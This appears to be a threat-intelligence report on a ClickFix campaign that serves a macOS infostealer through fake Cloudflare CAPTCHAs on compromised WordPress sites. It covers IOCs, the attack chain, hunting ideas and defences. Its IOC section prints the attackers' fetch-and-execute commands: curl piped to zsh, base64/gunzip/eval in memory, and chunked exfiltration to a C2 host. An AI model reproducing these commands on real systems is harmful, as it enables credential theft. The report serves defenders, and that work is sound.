11 minhigh
ClickFix on macOS: Blockchain-Powered Infostealer Hidden Inside Compromised Websites
A large-scale ClickFix campaign compromises hundreds of WordPress websites to deliver a macOS infostealer via fake Cloudflare CAPTCHA overlays. The campaign uses a Polygon blockchain smart contract to store the C2 URL, making it resistant to DNS takedowns. Victims are tricked into pasting a Terminal command that downloads an in-memory payload via curl, which uses osascript to harvest Keychain data, browser credentials, SSH keys, and screenshots before exfiltrating them in chunks to an attacker-controlled server.
Sens:■ ImmediateConf:
Showing defanged values
- domaingenomicsforge[.]comPrimary C2 server for payload delivery, AppleScript download, and data exfiltration; receives staged data in 10MB chunks at /gate endpoint
- domainholopebamiy[.]bondClickFix overlay domain serving fake CAPTCHA landing pages
- domainmemshowblob[.]forumClickFix overlay domain serving fake CAPTCHA landing pages
- domainmerabs[.]proClickFix overlay domain serving fake CAPTCHA landing pages
- domainsuperboomer[.]worldClickFix overlay domain serving platform-specific landing pages via iframe injection
- domainsuperstarlog[.]clickClickFix overlay domain hosting OS-specific landing pages and payload download URLs; injected as full-screen iframe on compromised sites
- filename/tmp/osalogging.zipStaging file where collected Keychain data, browser profiles, SSH keys, and screenshots are compressed before exfiltration; deleted after successful upload
- urlhxxp://genomicsforge[.]com/dynamicEndpoint serving AppleScript payload downloaded and executed via osascript on macOS
- urlhxxp://genomicsforge[.]com/gateExfiltration endpoint receiving staged data in 10MB chunks with up to 8 retries per chunk
- urlhxxps://superstarlog[.]click/landing/mac[.]htmlmacOS-specific landing page serving fake Cloudflare CAPTCHA overlay
- urlhxxps://superstarlog[.]click/landing/mac[.]shPayload download URL for macOS infostealer script
Detection / Hunteropenrouter
What Happened
Attackers have compromised hundreds of legitimate small business websites running WordPress and turned them into delivery platforms for malware. When you visit one of these sites, a fake 'Verify you are human' Cloudflare prompt appears and tells you to open Terminal, paste a code, and press Enter. If you follow the instructions, a hidden malware program silently steals your saved passwords, browser data, and SSH keys from your Mac and sends them to the attackers. The attackers store their server address on a blockchain, which means law enforcement cannot easily shut it down. Anyone who visited a compromised website and pasted the verification command should change all their passwords, revoke SSH keys, and consider reinstalling macOS. Website owners should audit their sites for malicious code and rotate their admin credentials.
Key Takeaways
- ClickFix social engineering campaign adapted for macOS, using fake Cloudflare CAPTCHA overlays to trick users into pasting malicious Terminal commands
- C2 URL is stored on the Polygon blockchain via a smart contract, making it immune to DNS-level takedowns (EtherHiding technique)
- Hundreds of compromised WordPress sites across multiple regions serve as delivery platforms at scale
- Three-stage in-memory payload evades file-hash-based detection by decompressing and evaluating gzip+base64 encoded scripts without touching disk
- Infostealer targets macOS Keychain, browser data, SSH keys, and screenshots via osascript, exfiltrating data in 10MB chunks to C2
Affected Systems
- macOS (full infostealer payload)
- Windows (full infostealer payload)
- Linux (not supported - dead end page only)
- WordPress websites (compromised for malicious script injection)
Vulnerabilities (CVEs)
None identified.
Attack Chain
- Initial Access: Victim visits a compromised WordPress website containing an injected malicious script
- C2 Resolution: Script queries a Polygon smart contract across six RPC endpoints to retrieve the C2 URL from the blockchain
- Social Engineering: Full-screen iframe with allow="clipboard-write" serves a fake Cloudflare CAPTCHA instructing the user to open Terminal and paste a command
- Execution: Pasted command uses curl to download a gzip+base64 encoded payload and pipes it directly to zsh without writing to disk
- Collection: Decoded payload daemon fetches and runs AppleScript via osascript to harvest Keychain data, browser credentials, SSH keys, and screenshots; data staged in /tmp/osalogging.zip
- Exfiltration: Staged zip uploaded in 10MB chunks to genomicsforge.com/gate with up to 8 retries per chunk, then deleted from disk
Detection Availability
- YARA Rules: No
- Sigma Rules: No
- Snort/Suricata Rules: No
- KQL Queries: No
- Splunk SPL Queries: No
- EQL Queries: No
- Other Detection Logic: No
No formal detection rules are provided in the article. The author recommends defenders alert on osascript as a child of shell pipelines, PUT requests to /gate?buildtxd=, and eth_call requests to Polygon RPC endpoints from browser processes.
Detection Engineering Assessment
copy:
| Dimension | Rating | Rationale |
|---|---|---|
| EDR Visibility | Medium | macOS endpoint visibility varies significantly by EDR vendor; osascript child of curl/zsh pipelines and /tmp/ file creation are detectable with proper telemetry, but many macOS deployments lack comprehensive EDR coverage. In-memory execution via eval avoids file-based indicators. |
| Network Visibility | Medium | C2 traffic to genomicsforge.com uses HTTP (unencrypted) which is visible to network monitoring, but blockchain RPC queries to legitimate Polygon endpoints blend with normal web traffic. The use of public RPC infrastructure makes C2 resolution difficult to distinguish from legitimate blockchain interactions. |
| Detection Difficulty | Moderate | The blockchain-based C2 resolution is novel and difficult to detect at the network level, but subsequent behaviors (osascript execution from shell pipelines, curl-to-zsh piping, /tmp/ staging, chunked uploads to /gate) are identifiable with proper endpoint and network telemetry. |
Required Log Sources
- macOS Unified Log process execution events
- Network proxy/forward proxy logs for HTTP traffic
- DNS resolution logs
- Browser process network connection logs
- Endpoint process telemetry with parent-child relationships
- Web server access logs for compromised WordPress sites
- WAF logs for iframe injection detection
Hunting Hypotheses
copy:
| Hypothesis | Telemetry | ATT&CK Stage | FP Risk |
|---|---|---|---|
| Consider hunting for osascript executing as a child process of curl or zsh shell pipelines, which would indicate automated AppleScript execution from a downloaded payload rather than interactive user use | macOS process execution logs with parent-child relationships (e.g., Endpoint Security framework, Unified Log) | Execution and Collection | Low - osascript as a child of curl is highly unusual in normal macOS usage |
| Consider hunting for browser processes making eth_call JSON-RPC requests to Polygon blockchain endpoints, which may indicate the blockchain C2 resolution technique if observed from unexpected browser sessions | Network proxy logs, DNS logs, browser network connection logs | C2 Resolution | Medium - legitimate users of blockchain applications or crypto wallets may generate similar traffic |
| Consider hunting for curl commands piping output directly to zsh or osascript without intermediate file writes, indicating in-memory execution patterns consistent with ClickFix payloads | Endpoint process telemetry with command-line arguments, macOS Unified Log | Execution | Low to Medium - some legitimate DevOps or automation workflows may use similar patterns but are typically from known service accounts |
| Consider hunting for creation of zip files in /tmp/ followed by chunked HTTP requests to external endpoints, which would indicate data staging and exfiltration activity | File system monitoring on /tmp/, network proxy logs for outbound HTTP PUT/POST with large payloads | Collection and Exfiltration | Low - zip creation in /tmp/ followed by chunked uploads to non-corporate domains is uncommon in normal usage |
| Consider hunting for web pages containing iframe elements with allow="clipboard-write" and maximum z-index CSS values, which would indicate ClickFix overlay injection on web servers | WAF logs, web server response body inspection, CDN/WAF content scanning | Initial Access and Social Engineering | Medium - some legitimate embedded widgets may use clipboard-write permission, but combined with max z-index and full-screen sizing it is suspicious |
Control Gaps
- DNS-based blocking cannot prevent C2 resolution since the C2 URL is stored on a Polygon smart contract and resolved via legitimate public RPC endpoints
- File-hash-based detection misses the entirely in-memory execution chain that decompresses and evaluates payloads without writing to disk
- Browser clipboard access via iframe allow="clipboard-write" attribute bypasses normal permission prompts and generates no browser warnings
- Traditional network signature-based detection may not flag blockchain RPC queries as malicious since they target legitimate public infrastructure
- WordPress sites compromised via stolen CMS credentials or vulnerable plugins may not trigger existing web application firewall rules for the injected script
Key Behavioral Indicators
- osascript as child process of curl or zsh shell pipeline
- curl piped directly to zsh without intermediate file creation
- HTTP requests to /gate?buildtxd= or /dynamic?txd= endpoints on external domains
- eth_call JSON-RPC requests to Polygon RPC endpoints originating from browser processes
- Creation of /tmp/osalogging.zip followed by chunked HTTP uploads
- Iframe elements with allow="clipboard-write" and z-index: 2147483647 in web page HTML
- Suppression cookies _cf_verified and _wp_perf_ok with 90-day expiry set on compromised domains
False Positive Assessment
Low - The combination of osascript as child of curl, blockchain RPC queries from browsers, and chunked uploads to /gate endpoints is highly specific to this campaign. Individual indicators such as Polygon RPC queries may generate false positives from legitimate crypto users, but the full behavioral chain is distinctive.
Recommendations
Immediate Mitigation
defender takeaway
- Verify against your organization's incident response runbook and team escalation paths before acting. Consider blocking superstarlog.click, superboomer.world, holopebamiy.bond, memshowblob.forum, merabs.pro, and genomicsforge.com at network perimeter controls if consistent with your blocklist policies
- If applicable to your environment, consider alerting on osascript as a child of shell pipelines and HTTP requests to /gate?buildtxd= or /dynamic?txd= endpoints
- If you have users who may have visited compromised sites and pasted Terminal commands, consider rotating passwords, revoking SSH keys, and inspecting /tmp/ for osalogging.zip
- If your EDR supports host isolation, consider isolating any macOS endpoints showing osascript child of curl execution patterns pending investigation
Infrastructure Hardening
- If your organization runs WordPress sites, consider auditing for unauthorized injected script tags and rotating all CMS and hosting credentials
- Evaluate whether your WAF can detect and block iframe injections with allow="clipboard-write" and maximum z-index attributes
- Consider implementing network monitoring for eth_call JSON-RPC requests to Polygon RPC endpoints originating from browser processes if your proxy infrastructure supports content inspection
- Where supported by your tooling, consider adding DNS monitoring for the identified ClickFix overlay domains to detect victim traffic
User Protection
- Consider deploying endpoint detection on macOS endpoints that can alert on osascript child of curl/zsh execution if not already in place
- If your browser management policies support it, evaluate restricting clipboard-write permissions for cross-origin iframes
- Consider rolling out guidance to users that legitimate Cloudflare verification pages never ask users to open Terminal and paste commands
- If applicable, evaluate whether browser extensions or policies can block or warn on full-screen iframe overlays from untrusted domains
Security Awareness
- Consider incorporating ClickFix social engineering awareness into existing security training programs, emphasizing that no legitimate CAPTCHA or verification system requires pasting commands into Terminal or PowerShell
- If your awareness program includes phishing simulations, consider adding a ClickFix-style fake CAPTCHA scenario to test user susceptibility
- Consider reminding users that legitimate Cloudflare challenges are browser-native and never require manual command execution
MITRE ATT&CK Mapping
MITRE ATT&CK Mapping12 techniques
Tactic
Stealth
Tactic
Credential Access
Tactic
Collection
Tactic
Command and Control
Tactic
Exfiltration
Additional IOCs
- Domains:
holopebamiy[.]bond- ClickFix overlay domain serving fake CAPTCHA landing pagesmemshowblob[.]forum- ClickFix overlay domain serving fake CAPTCHA landing pagesmerabs[.]pro- ClickFix overlay domain serving fake CAPTCHA landing pages
- Urls:
hxxps://superstarlog[.]click/landing/mac.html- macOS-specific landing page serving fake Cloudflare CAPTCHA overlayhxxps://superstarlog[.]click/landing/mac.sh- Payload download URL for macOS infostealer scripthxxp://genomicsforge[.]com/gate- Exfiltration endpoint receiving staged data in 10MB chunks with up to 8 retries per chunkhxxp://genomicsforge[.]com/dynamic- Endpoint serving AppleScript payload downloaded and executed via osascript on macOS
- Command Lines:
- Purpose: Clipboard-injected command that downloads and executes in-memory payload via curl piped to zsh; echo prints fake verification text as cover | Tools:
echo,curl,base64,zsh| Stage: Execution |echo "..." && curl -kfSSL $(echo '<base64>' | base64 -D) | zsh - Purpose: Decompresses gzip+base64 encoded payload in memory and evaluates it without writing to disk | Tools:
base64,gunzip,eval| Stage: Execution |base64 -D <<'PAYLOAD' | gunzip; eval "$var" - Purpose: Daemon function that fetches AppleScript payload from C2 via curl, executes via osascript, then exfiltrates staged zip in chunks and deletes it | Tools:
curl,osascript,rm| Stage: C2 and Exfiltration
- Purpose: Clipboard-injected command that downloads and executes in-memory payload via curl piped to zsh; echo prints fake verification text as cover | Tools:
- Other:
91973821f069a4bdb83e4d2853ebe386a5996326e421251014d3cde0916fc7e2- Token used in C2 communication for AppleScript payload retrieval and exfiltration authentication5190ef1733183a0dc63fb623357f56d6- API key sent in HTTP header for C2 authentication when fetching AppleScript payload_cf_verified- Suppression cookie set with 90-day expiry after victim completes fake CAPTCHA to prevent re-display of overlay_wp_perf_ok- Suppression cookie set with 90-day expiry after victim completes fake CAPTCHA to prevent re-display of overlay